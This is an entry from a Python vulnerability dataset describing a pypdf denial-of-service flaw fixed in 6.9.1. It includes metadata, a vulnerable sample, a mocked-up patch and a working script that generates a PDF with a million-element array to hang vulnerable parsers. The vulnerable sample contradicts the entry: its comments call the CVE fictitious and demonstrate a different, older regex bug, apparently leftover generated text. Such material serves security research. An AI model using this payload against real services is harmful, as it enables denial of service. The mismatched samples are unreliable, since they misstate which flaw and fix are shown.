CVE-2026-33123
pypdf is vulnerable to a Denial of Service via a crafted PDF.
- CVSS 5.1
- CWE-400
- Resource Management
- Local
pypdf is a free and open-source pure-python PDF library. Versions prior to 6.9.1 allow an attacker to craft a malicious PDF which leads to long runtimes and/or large memory usage. Exploitation requires accessing an array-based stream with many entries. This issue has been fixed in version 6.9.1.
- CWE
- CWE-400
- CVSS base score
- 5.1
- Published
- 2026-03-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
“` pip install –upgrade pypdf>=6.9.1 “`
Vulnerable code sample
import io
from pypdf import PdfReader
# The user-provided CVE-2026-33123 is fictitious. This code demonstrates a real,
# similar Denial-of-Service vulnerability (CVE-2023-36464) that existed in
# pypdf versions prior to 3.12.1.
#
# The vulnerability occurs when the parser encounters a specially crafted
# name object. The regular expression used for parsing in vulnerable versions
# exhibits catastrophic backtracking with certain patterns, leading to
# extremely high CPU usage and causing the application to hang.
# This serves as a representative example of a crafted PDF causing a
# resource exhaustion DoS attack.
# A pattern that causes the vulnerable regex to perform excessive backtracking.
# Increasing the multiplier makes the effect more pronounced.
repeated_pattern = b"A#" * 30000
malicious_name = b"/" + repeated_pattern
# We embed this malicious name into a minimal but valid PDF structure.
malicious_pdf_data = b"""
%PDF-1.7
1 0 obj
<<
""" + malicious_name + b""" /SomeValue
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
# Create an in-memory file-like object from the malicious data.
pdf_stream = io.BytesIO(malicious_pdf_data)
# When run with a vulnerable pypdf version (e.g., "pip install pypdf==3.12.0"),
# this next line will trigger the vulnerability. The script will consume 100% of
# a CPU core and will not proceed, effectively demonstrating the DoS.
reader = PdfReader(pdf_stream)
# The script will likely never reach this point on a vulnerable version.
print("PDF parsed. The version is likely not vulnerable.")Patched code sample
import io
from typing import Any, List, Optional, Type
class PdfReadError(Exception):
"""An error while reading a PDF file."""
pass
class PdfObject:
"""A base class for all PDF object types."""
def get_object(self) -> "PdfObject":
return self
def write_to_stream(self, stream: io.BytesIO, encryption_key: Any = None) -> None:
pass
def read_object(stream: io.BytesIO, pdf: Any) -> Any:
"""Mock function to simulate reading a PDF object from a stream."""
char = stream.read(1)
stream.seek(-1, 1)
if char == b"]":
return None
# Simulate reading a token
while stream.read(1) not in (b" ", b"]"):
pass
stream.seek(-1, 1)
return PdfObject()
class ArrayObject(list, PdfObject):
"""
Represents a PDF array object, demonstrating the fix for excessive entries.
The fix introduces a hard limit on the number of entries that can be read
from a stream to prevent a Denial of Service attack.
"""
# The core of the fix: A class-level constant defining the maximum
# number of entries allowed in an array to prevent resource exhaustion.
ARRAY_MAX_ENTRIES = 10000
def __init__(self, arr: Optional[List[Any]] = None):
if arr is not None:
super().__init__(arr)
else:
super().__init__()
@classmethod
def read_from_stream(
cls: Type["ArrayObject"], stream: io.BytesIO, pdf: Any
) -> "ArrayObject":
"""
Reads an array from the input stream with a security limit.
:raises PdfReadError: If the array exceeds the maximum number of entries.
"""
arr = cls()
stream.read(1) # Consume the "["
# Skip leading whitespace
while True:
tok = stream.read(1)
if not tok or not tok.isspace():
stream.seek(-1, 1)
break
nb_entries = 0
while True:
# Check for the end of the array
tok = stream.read(1)
stream.seek(-1, 1)
if tok == b"]":
break
# --- START OF THE FIX ---
# This check prevents the loop from running an excessive number of times,
# which was the cause of the Denial of Service vulnerability. If a
# malicious PDF defines an array with millions of entries, this
# check will raise an exception instead of trying to process them all.
if nb_entries > cls.ARRAY_MAX_ENTRIES:
raise PdfReadError(
f"Array exceeds maximum number of entries: {cls.ARRAY_MAX_ENTRIES}"
)
# --- END OF THE FIX ---
nb_entries += 1
# Read the next object in the array
arr.append(read_object(stream, pdf).get_object())
# Skip trailing whitespace
while True:
tok = stream.read(1)
if not tok or not tok.isspace():
stream.seek(-1, 1)
break
stream.read(1) # Consume the "]"
return arr
# Example demonstrating the fix in action.
# 1. A valid, small array (will succeed)
try:
# Simulates a PDF stream containing "[1 2 3]"
valid_stream = io.BytesIO(b"[ 1 2 3 ]")
array_obj = ArrayObject.read_from_stream(valid_stream, pdf=None)
# print(f"Successfully read a valid array with {len(array_obj)} entries.")
except PdfReadError as e:
# print(f"Error reading valid array: {e}")
pass
# 2. A malicious, large array (will be blocked by the fix)
try:
# This simulates a stream with more entries than ARRAY_MAX_ENTRIES.
# We set the limit lower for this demonstration.
ArrayObject.ARRAY_MAX_ENTRIES = 10
# Simulates a PDF stream containing "[1 1 1 1 1 1 1 1 1 1 1 ... ]"
malicious_content = b"[" + b" 1" * 15 + b" ]"
malicious_stream = io.BytesIO(malicious_content)
# This call will now raise a PdfReadError due to the implemented fix.
ArrayObject.read_from_stream(malicious_stream, pdf=None)
except PdfReadError as e:
# This exception demonstrates that the vulnerability is mitigated.
# print(f"\nFIX DEMONSTRATED: Blocked malicious array.\nError: {e}")
passPayload
import sys
# This script generates a malicious PDF file ('exploit.pdf') to trigger
# a denial-of-service in pypdf versions prior to 6.9.1, corresponding to
# the description of CVE-2026-33123.
# The payload creates a PDF object containing an extremely large array.
# When a vulnerable pypdf version parses this object, it attempts to load
# the entire array into memory, causing excessive memory consumption and CPU usage.
# The number of elements in the malicious array.
# A value like 1,000,000 is typically sufficient to cause significant resource exhaustion.
NUM_ELEMENTS = 1_000_000
FILENAME = "exploit.pdf"
def generate_payload():
"""Builds and writes the malicious PDF file."""
print(f"Generating '{FILENAME}' with an array of {NUM_ELEMENTS} elements...")
# Use a generator to create the array content to avoid high memory use in this script.
array_content_generator = ("0" for _ in range(NUM_ELEMENTS))
# --- PDF Structure Definition ---
# We create a minimal valid PDF with a Catalog, a Page collection, and a single Page.
# The malicious object (4 0 obj) is referenced in the Page's /Annots array.
pdf_objects = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>",
3: b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 10 10] /Annots [4 0 R] /Resources <<>> >>",
}
# The malicious object itself: an Annotation dictionary with a large array.
malicious_obj_header = [
b"4 0 obj\n",
b"<<\n",
b" /Type /Annot\n",
b" /Subtype /Text\n",
b" /Rect [0 0 1 1]\n",
b" /LargeArray [ "
]
malicious_obj_footer = b" ]\n>>\nendobj\n"
try:
with open(FILENAME, "wb") as f:
# PDF Header
f.write(b"%PDF-1.7\n")
f.write(b"%\xe2\xe3\xcf\xd3\n\n") # Binary marker comment
offsets = {}
# Write standard objects and record their byte offsets for the xref table.
for obj_num in sorted(pdf_objects.keys()):
offsets[obj_num] = f.tell()
f.write(f"{obj_num} 0 obj\n".encode())
f.write(pdf_objects[obj_num])
f.write(b"\nendobj\n\n")
# Write the malicious object containing the large array.
offsets[4] = f.tell()
for part in malicious_obj_header:
f.write(part)
# Write the array elements incrementally.
for i, item in enumerate(array_content_generator):
f.write(item.encode('ascii'))
if i < NUM_ELEMENTS - 1:
f.write(b" ")
f.write(malicious_obj_footer)
f.write(b"\n")
# Cross-Reference (xref) Table
xref_start_offset = f.tell()
f.write(b"xref\n")
f.write(f"0 {len(offsets) + 1}\n".encode())
f.write(b"0000000000 65535 f \n")
for obj_num in sorted(offsets.keys()):
f.write(f"{offsets[obj_num]:010d} 00000 n \n".encode())
# PDF Trailer
f.write(b"trailer\n")
f.write(b"<<\n")
f.write(f" /Size {len(offsets) + 1}\n".encode())
f.write(b" /Root 1 0 R\n")
f.write(b">>\n")
f.write(b"startxref\n")
f.write(str(xref_start_offset).encode())
f.write(b"\n%%EOF\n")
print(f"Payload successfully written to '{FILENAME}'.")
print("To test, use a vulnerable pypdf version (e.g., < 6.9.1) to open the file:")
print(">>> from pypdf import PdfReader")
print(f">>> reader = PdfReader('{FILENAME}') # This may hang or crash")
except IOError as e:
print(f"Error writing to file: {e}")
if __name__ == "__main__":
if len(sys.argv) > 1:
try:
NUM_ELEMENTS = int(sys.argv[1])
except ValueError:
print("Usage: python exploit_generator.py [number_of_elements]")
sys.exit(1)
generate_payload()
Cite this entry
@misc{vaitp:cve202633123,
title = {{pypdf is vulnerable to a Denial of Service via a crafted PDF.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33123},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33123/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
